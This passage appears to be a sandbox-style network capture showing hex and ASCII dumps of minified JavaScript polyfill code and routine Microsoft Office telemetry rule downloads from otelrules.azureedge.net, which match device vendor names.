k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001827Z-16849878b78smng4k6nq15r6s40000000aag0000000081ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001827Z-16849878b78qg9mlz11wgn0wcc000000089000000000pf4a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001827Z-16849878b787wpl5wqkt5731b400000009cg00000000xpfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23aa8b33-901e-00ac-7615-2bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001827Z-15b8d89586f42m673h1quuee4s0000000csg00000000km6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c990e8a6-c01e-0034-078c-2a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-159b85dff8flhpxphC1DFWbnq80000000130000000004nme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 4e15243a-401e-005b-2294-2a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-17c5cb586f67hfgj2durhqcxk800000007u0000000001kmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fb99dfde-101e-0065-28dd-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-17c5cb586f64v7xsc2ahm8gsgw00000003sg000000007vpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: bb81791c-801e-00ac-6687-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001828Z-159b85dff8f7x84jhC1DFWaghs00000000m00000000037a8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

